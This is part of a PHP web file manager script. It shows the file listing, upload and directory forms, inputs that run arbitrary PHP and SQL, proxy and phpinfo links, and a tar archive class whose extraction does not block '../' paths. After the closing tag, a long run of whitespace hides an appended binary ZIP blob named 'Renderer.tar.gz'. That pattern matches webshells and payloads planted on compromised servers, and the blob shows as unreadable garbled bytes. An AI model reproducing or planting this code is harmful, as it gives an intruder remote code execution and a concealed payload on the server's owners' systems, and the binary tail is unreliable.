<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
